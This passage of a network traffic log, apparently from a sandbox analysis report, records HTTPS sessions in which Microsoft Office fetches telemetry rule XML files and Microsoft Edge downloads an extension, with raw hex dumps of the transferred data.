1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-23 04:02:50 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-23 04:02:50 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-23 04:02:50 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-23 04:02:50 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-23 04:02:50 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-23 04:02:50 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-23 04:02:50 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:49 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:49 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040249Z-178bfbc474bmqmgjhC1NYCy16c000000040000000000agx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:49 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:49 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:49 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 5c8e7bca-d01e-0049-4f4b-3ce7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040249Z-15b8b599d885ffrhhC1TEBtuv000000002bg00000000n592 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:49 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:49 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ba159eff-a01e-000d-0e45-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040249Z-178bfbc474bbcwv4hC1NYCypys00000003vg0000000042dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:49 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:49 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9a5c0c24-501e-0064-106e-3c1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040249Z-174c587ffdf7t49mhC1TEB4qbg00000002ag00000000abgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 04:02:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49868	152.195.19.97	443	7188	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:49 UTC	614	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732939366&P2=404&P3=2&P4=QeHNH8ONoQP3sM5RX2lbayz4WjwuvLpPBtLZjcvMVzwrKNmABwKQwsNYGPceazeH5qI4Nz8pm2Eobb3C%2f87Gjg%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: VvI8qnli22ouC9lP+7eTmX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 04:02:49 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 12261100 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Sat, 23 Nov 2024 04:02:49 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-11-23 04:02:49 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:51 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040251Z-178bfbc474bgvl54hC1NYCsfuw00000003x000000000d9fw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:51 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:51 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040251Z-15b8b599d88z9sc7hC1TEBkr4w00000002m00000000045gr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:51 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
